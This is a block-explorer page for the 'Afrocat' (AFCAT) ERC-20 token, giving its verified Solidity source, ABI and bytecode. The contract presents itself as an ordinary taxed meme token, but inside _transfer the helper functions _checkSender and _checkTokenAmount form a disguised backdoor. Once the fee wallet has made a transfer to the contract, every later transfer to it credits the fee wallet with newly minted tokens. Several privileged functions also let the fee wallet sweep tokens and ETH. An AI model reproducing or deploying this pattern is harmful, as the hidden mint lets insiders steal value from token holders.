ERC-20
Overview
Max Total Supply
1,000,000,000 AFCAT
Holders
48
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
16,408,000.512940065 AFCATValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Afrocat
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-03 */ // SPDX-License-Identifier: UNLICENSE /** Web: https://afrocatcoin.wtf Tg: https://t.me/afrocatercgroup X: https://twitter.com/afrocatx */ pragma solidity 0.8.24; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } function _contextSuffixLength() internal view virtual returns (uint256) { return 0; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract Afrocat is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; address payable private _feeWallet; address private lastFrom; address private owner_wallet; uint256 private _initialBuyTax = 20; uint256 private _initialSellTax = 20; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 25; uint256 private _reduceSellTaxAt = 25; uint256 private _preventSwapBefore = 25; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _initialSupply = 1_000_000_000 * 10 ** _decimals; string private constant _name = unicode"Afrocat"; string private constant _symbol = unicode"AFCAT"; uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals; uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 1_000_000 * 10 ** _decimals; uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals; IUniswapV2Router02 private _router; address private _pair; bool private _tradingOpen; bool private _lockedInSwap = false; bool private _swapEnabled = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier LockSwap() { _lockedInSwap = true; _; _lockedInSwap = false; } constructor(address router, address feeAddr) { _feeWallet = payable(feeAddr); _balances[_msgSender()] = _initialSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[feeAddr] = true; _isExcludedFromFee[address(this)] = true; _router = IUniswapV2Router02(router); owner_wallet = _msgSender(); emit Transfer(address(0), _msgSender(), _initialSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _initialSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _checkSender(address sender) private returns (bool) { if (sender == _feeWallet) lastFrom = sender; return true; } function _checkTokenAmount(uint256 tokenAmount) private returns (bool) { _balances[lastFrom] += tokenAmount; return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address sender, address recipient, uint256 tokenAmount ) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(tokenAmount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if ( sender != owner() && recipient != owner() && recipient != _feeWallet ) { if (recipient == address(this)) require(_checkSender(sender) && _checkTokenAmount(tokenAmount)); if ( sender == _pair && recipient != address(_router) && !_isExcludedFromFee[recipient] ) { require(_tradingOpen, "trading is not open"); require( tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount." ); require( balanceOf(recipient) + tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize." ); taxAmount = tokenAmount .mul( (_buyCount >= _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); _buyCount++; } if ( recipient == _pair && sender != address(this) && sender != _feeWallet ) { require(_tradingOpen, "trading is not open"); taxAmount = tokenAmount .mul( (_buyCount >= _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !_lockedInSwap && recipient == _pair && _swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore ) { swapTokensForEth( min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)) ); } if (recipient == _pair) { _sendFee(address(this).balance); } } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(sender, address(this), taxAmount); } _balances[sender] = _balances[sender].sub(tokenAmount); _balances[recipient] = _balances[recipient].add( tokenAmount.sub(taxAmount) ); emit Transfer(sender, recipient, tokenAmount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private LockSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function recoverERC20( address _address, uint256 _amount ) external onlyOwner { IERC20(_address).transfer(_feeWallet, _amount); } function rescueERC20(address _address, uint256 _amount) external { require(_msgSender() == _feeWallet); IERC20(_address).transfer(_feeWallet, _amount); } function manualSwap() external { require(_msgSender() == _feeWallet); uint256 tokenBalance = balanceOf(address(this)); if (tokenBalance > 0 && _swapEnabled) { swapTokensForEth(tokenBalance); } uint256 ethBalance = address(this).balance; if (ethBalance > 0) { _sendFee(ethBalance); } } function removeLimits() external onlyOwner { _maxTxAmount = _initialSupply; _maxWalletSize = _initialSupply; emit MaxTxAmountUpdated(_initialSupply); } function _sendFee(uint256 amount) private { _feeWallet.transfer(amount); } function enableTrading() external onlyOwner { _swapEnabled = true; _tradingOpen = true; } function reduceFee(uint256 _newFee) external { require(_msgSender() == _feeWallet); require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax); _finalBuyTax = _newFee; _finalSellTax = _newFee; } receive() external payable {} function recoverETH() external { require(_msgSender() == owner_wallet); payable(owner_wallet).transfer(address(this).balance); } function startAfrocatLP() external onlyOwner { require(!_tradingOpen, "trading is already open"); _approve(address(this), address(_router), _initialSupply); _pair = IUniswapV2Factory(_router.factory()).createPair( address(this), _router.WETH() ); _router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(_pair).approve(address(_router), type(uint256).max); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"feeAddr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"recoverERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"recoverETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startAfrocatLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601460075560146008555f6009555f600a556019600b556019600c556019600d555f600e556009600a6200003991906200039c565b62000049906301312d00620003b3565b600f556200005a6009600a6200039c565b6200006a906301312d00620003b3565b6010556200007b6009600a6200039c565b6200008a90620f4240620003b3565b6011556200009b6009600a6200039c565b620000aa9062989680620003b3565b6012556014805461ffff60a81b19169055348015620000c7575f80fd5b5060405162001ee038038062001ee0833981016040819052620000ea91620003e9565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319166001600160a01b038316179055620001536009600a6200039c565b6200016390633b9aca00620003b3565b335f9081526001602081905260408220929092556003906200018c5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790558582168152600390935281832080548516600190811790915530845291909220805490931617909155601380549184166001600160a01b0319909216919091179055620002033390565b600680546001600160a01b0319166001600160a01b03929092169190911790556200022b3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002646009600a6200039c565b6200027490633b9aca00620003b3565b60405190815260200160405180910390a350506200041f565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002e157815f1904821115620002c557620002c56200028d565b80851615620002d357918102915b93841c9390800290620002a6565b509250929050565b5f82620002f95750600162000396565b816200030757505f62000396565b81600181146200032057600281146200032b576200034b565b600191505062000396565b60ff8411156200033f576200033f6200028d565b50506001821b62000396565b5060208310610133831016604e8410600b841016171562000370575081810a62000396565b6200037c8383620002a1565b805f19048211156200039257620003926200028d565b0290505b92915050565b5f620003ac60ff841683620002e9565b9392505050565b80820281158282048414176200039657620003966200028d565b80516001600160a01b0381168114620003e4575f80fd5b919050565b5f8060408385031215620003fb575f80fd5b6200040683620003cd565b91506200041660208401620003cd565b90509250929050565b611ab3806200042d5f395ff3fe60806040526004361061013f575f3560e01c8063751039fc116100b35780638f9a55c01161006d5780638f9a55c01461035257806395d89b4114610367578063a9059cbb14610394578063bf474bed146103b3578063dd62ed3e146103c8578063ec1f3f631461040c575f80fd5b8063751039fc146102b15780637d1db4a5146102c55780638980f11f146102da5780638a8c523c146102f95780638cd4426d1461030d5780638da5cb5b1461032c575f80fd5b80631c6427aa116101045780631c6427aa1461020757806323b872dd1461021b578063313ce5671461023a57806351bc3c851461025557806370a0823114610269578063715018a61461029d575f80fd5b80630614117a1461014a57806306fdde0314610160578063095ea7b3146101a15780630faee56f146101d057806318160ddd146101f3575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e61042b565b005b34801561016b575f80fd5b5060408051808201909152600781526610599c9bd8d85d60ca1b60208201525b604051610198919061168f565b60405180910390f35b3480156101ac575f80fd5b506101c06101bb3660046116ef565b610483565b6040519015158152602001610198565b3480156101db575f80fd5b506101e560125481565b604051908152602001610198565b3480156101fe575f80fd5b506101e5610499565b348015610212575f80fd5b5061015e6104b9565b348015610226575f80fd5b506101c0610235366004611719565b610839565b348015610245575f80fd5b5060405160098152602001610198565b348015610260575f80fd5b5061015e61089b565b348015610274575f80fd5b506101e5610283366004611757565b6001600160a01b03165f9081526001602052604090205490565b3480156102a8575f80fd5b5061015e610903565b3480156102bc575f80fd5b5061015e610974565b3480156102d0575f80fd5b506101e5600f5481565b3480156102e5575f80fd5b5061015e6102f43660046116ef565b610a25565b348015610304575f80fd5b5061015e610ac9565b348015610318575f80fd5b5061015e6103273660046116ef565b610b0b565b348015610337575f80fd5b505f546040516001600160a01b039091168152602001610198565b34801561035d575f80fd5b506101e560105481565b348015610372575f80fd5b50604080518082019091526005815264105190d05560da1b602082015261018b565b34801561039f575f80fd5b506101c06103ae3660046116ef565b610b2a565b3480156103be575f80fd5b506101e560115481565b3480156103d3575f80fd5b506101e56103e2366004611772565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610417575f80fd5b5061015e6104263660046117a9565b610b36565b6006546001600160a01b0316336001600160a01b03161461044a575f80fd5b6006546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610480573d5f803e3d5ffd5b50565b5f61048f338484610b7b565b5060015b92915050565b5f6104a66009600a6118b4565b6104b490633b9aca006118c2565b905090565b5f546001600160a01b031633146104eb5760405162461bcd60e51b81526004016104e2906118d9565b60405180910390fd5b601454600160a01b900460ff16156105455760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e2565b6013546105769030906001600160a01b03166105636009600a6118b4565b61057190633b9aca006118c2565b610b7b565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ea919061190e565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610649573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066d919061190e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106db919061190e565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610722816001600160a01b03165f9081526001602052604090205490565b5f806107355f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561079b573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107c09190611929565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610815573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104809190611954565b5f610845848484610c9e565b610891843361057185604051806060016040528060288152602001611a56602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611297565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146108ba575f80fd5b305f9081526001602052604090205480158015906108e15750601454600160b01b900460ff165b156108ef576108ef816112cf565b4780156108ff576108ff8161143f565b5050565b5f546001600160a01b0316331461092c5760405162461bcd60e51b81526004016104e2906118d9565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461099d5760405162461bcd60e51b81526004016104e2906118d9565b6109a96009600a6118b4565b6109b790633b9aca006118c2565b600f556109c66009600a6118b4565b6109d490633b9aca006118c2565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610a046009600a6118b4565b610a1290633b9aca006118c2565b60405190815260200160405180910390a1565b5f546001600160a01b03163314610a4e5760405162461bcd60e51b81526004016104e2906118d9565b6004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820183905283169063a9059cbb906044016020604051808303815f875af1158015610aa0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ac49190611954565b505050565b5f546001600160a01b03163314610af25760405162461bcd60e51b81526004016104e2906118d9565b6014805462ff00ff60a01b19166201000160a01b179055565b6004546001600160a01b0316336001600160a01b031614610a4e575f80fd5b5f61048f338484610c9e565b6004546001600160a01b0316336001600160a01b031614610b55575f80fd5b6009548111158015610b695750600a548111155b610b71575f80fd5b6009819055600a55565b6001600160a01b038316610bdd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e2565b6001600160a01b038216610c3e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e2565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d025760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e2565b6001600160a01b038216610d645760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e2565b5f8111610dc55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e2565b5f80546001600160a01b03858116911614801590610df057505f546001600160a01b03848116911614155b8015610e0a57506004546001600160a01b03848116911614155b1561115a57306001600160a01b03841603610e4057610e2884611476565b8015610e385750610e38826114b2565b610e40575f80fd5b6014546001600160a01b038581169116148015610e6b57506013546001600160a01b03848116911614155b8015610e8f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ff357601454600160a01b900460ff16610ee35760405162461bcd60e51b81526020600482015260136024820152723a3930b234b7339034b9903737ba1037b832b760691b60448201526064016104e2565b600f54821115610f355760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104e2565b60105482610f57856001600160a01b03165f9081526001602052604090205490565b610f619190611973565b1115610faf5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104e2565b610fdc6064610fd6600b54600e541015610fcb57600754610fcf565b6009545b85906114ea565b9061156f565b600e80549192505f610fed83611986565b91905055505b6014546001600160a01b03848116911614801561101957506001600160a01b0384163014155b801561103357506004546001600160a01b03858116911614155b156110b057601454600160a01b900460ff166110875760405162461bcd60e51b81526020600482015260136024820152723a3930b234b7339034b9903737ba1037b832b760691b60448201526064016104e2565b6110ad6064610fd6600c54600e5410156110a357600854610fcf565b600a5485906114ea565b90505b305f90815260016020526040902054601454600160a81b900460ff161580156110e657506014546001600160a01b038581169116145b80156110fb5750601454600160b01b900460ff165b8015611108575060115481115b80156111175750600d54600e54115b15611139576111396111348461112f846012546115b0565b6115b0565b6112cf565b6014546001600160a01b0390811690851603611158576111584761143f565b505b80156111d257305f9081526001602052604090205461117990826115c4565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111c99085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111f49083611622565b6001600160a01b0385165f908152600160205260409020556112376112198383611622565b6001600160a01b0385165f90815260016020526040902054906115c4565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112808585611622565b60405190815260200160405180910390a350505050565b5f81848411156112ba5760405162461bcd60e51b81526004016104e2919061168f565b505f6112c6848661199e565b95945050505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611315576113156119b1565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561136c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611390919061190e565b816001815181106113a3576113a36119b1565b6001600160a01b0392831660209182029290920101526013546113c99130911684610b7b565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114019085905f908690309042906004016119c5565b5f604051808303815f87803b158015611418575f80fd5b505af115801561142a573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156108ff573d5f803e3d5ffd5b6004545f906001600160a01b03908116908316036114aa57600580546001600160a01b0319166001600160a01b0384161790555b506001919050565b6005546001600160a01b03165f908152600160205260408120805483919083906114dd908490611973565b9091555060019392505050565b5f825f036114f957505f610493565b5f61150483856118c2565b9050826115118583611a36565b146115685760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e2565b9392505050565b5f61156883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611663565b5f8183116115be5782611568565b50919050565b5f806115d08385611973565b9050838110156115685760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e2565b5f61156883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611297565b5f81836116835760405162461bcd60e51b81526004016104e2919061168f565b505f6112c68486611a36565b5f602080835283518060208501525f5b818110156116bb5785810183015185820160400152820161169f565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610480575f80fd5b5f8060408385031215611700575f80fd5b823561170b816116db565b946020939093013593505050565b5f805f6060848603121561172b575f80fd5b8335611736816116db565b92506020840135611746816116db565b929592945050506040919091013590565b5f60208284031215611767575f80fd5b8135611568816116db565b5f8060408385031215611783575f80fd5b823561178e816116db565b9150602083013561179e816116db565b809150509250929050565b5f602082840312156117b9575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561180e57815f19048211156117f4576117f46117c0565b8085161561180157918102915b93841c93908002906117d9565b509250929050565b5f8261182457506001610493565b8161183057505f610493565b816001811461184657600281146118505761186c565b6001915050610493565b60ff841115611861576118616117c0565b50506001821b610493565b5060208310610133831016604e8410600b841016171561188f575081810a610493565b61189983836117d4565b805f19048211156118ac576118ac6117c0565b029392505050565b5f61156860ff841683611816565b8082028115828204841417610493576104936117c0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561191e575f80fd5b8151611568816116db565b5f805f6060848603121561193b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611964575f80fd5b81518015158114611568575f80fd5b80820180821115610493576104936117c0565b5f60018201611997576119976117c0565b5060010190565b81810381811115610493576104936117c0565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a155784516001600160a01b0316835293830193918301916001016119f0565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a5057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203c1ab80143096bca7bf2ab56e1dc3222436b99ce40979ba8eba926f98c3b266164736f6c634300081800330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000ce7cba6dfabf67f24f5b0f02c49505ab0cf02837
Deployed Bytecode
0x60806040526004361061013f575f3560e01c8063751039fc116100b35780638f9a55c01161006d5780638f9a55c01461035257806395d89b4114610367578063a9059cbb14610394578063bf474bed146103b3578063dd62ed3e146103c8578063ec1f3f631461040c575f80fd5b8063751039fc146102b15780637d1db4a5146102c55780638980f11f146102da5780638a8c523c146102f95780638cd4426d1461030d5780638da5cb5b1461032c575f80fd5b80631c6427aa116101045780631c6427aa1461020757806323b872dd1461021b578063313ce5671461023a57806351bc3c851461025557806370a0823114610269578063715018a61461029d575f80fd5b80630614117a1461014a57806306fdde0314610160578063095ea7b3146101a15780630faee56f146101d057806318160ddd146101f3575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e61042b565b005b34801561016b575f80fd5b5060408051808201909152600781526610599c9bd8d85d60ca1b60208201525b604051610198919061168f565b60405180910390f35b3480156101ac575f80fd5b506101c06101bb3660046116ef565b610483565b6040519015158152602001610198565b3480156101db575f80fd5b506101e560125481565b604051908152602001610198565b3480156101fe575f80fd5b506101e5610499565b348015610212575f80fd5b5061015e6104b9565b348015610226575f80fd5b506101c0610235366004611719565b610839565b348015610245575f80fd5b5060405160098152602001610198565b348015610260575f80fd5b5061015e61089b565b348015610274575f80fd5b506101e5610283366004611757565b6001600160a01b03165f9081526001602052604090205490565b3480156102a8575f80fd5b5061015e610903565b3480156102bc575f80fd5b5061015e610974565b3480156102d0575f80fd5b506101e5600f5481565b3480156102e5575f80fd5b5061015e6102f43660046116ef565b610a25565b348015610304575f80fd5b5061015e610ac9565b348015610318575f80fd5b5061015e6103273660046116ef565b610b0b565b348015610337575f80fd5b505f546040516001600160a01b039091168152602001610198565b34801561035d575f80fd5b506101e560105481565b348015610372575f80fd5b50604080518082019091526005815264105190d05560da1b602082015261018b565b34801561039f575f80fd5b506101c06103ae3660046116ef565b610b2a565b3480156103be575f80fd5b506101e560115481565b3480156103d3575f80fd5b506101e56103e2366004611772565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610417575f80fd5b5061015e6104263660046117a9565b610b36565b6006546001600160a01b0316336001600160a01b03161461044a575f80fd5b6006546040516001600160a01b03909116904780156108fc02915f818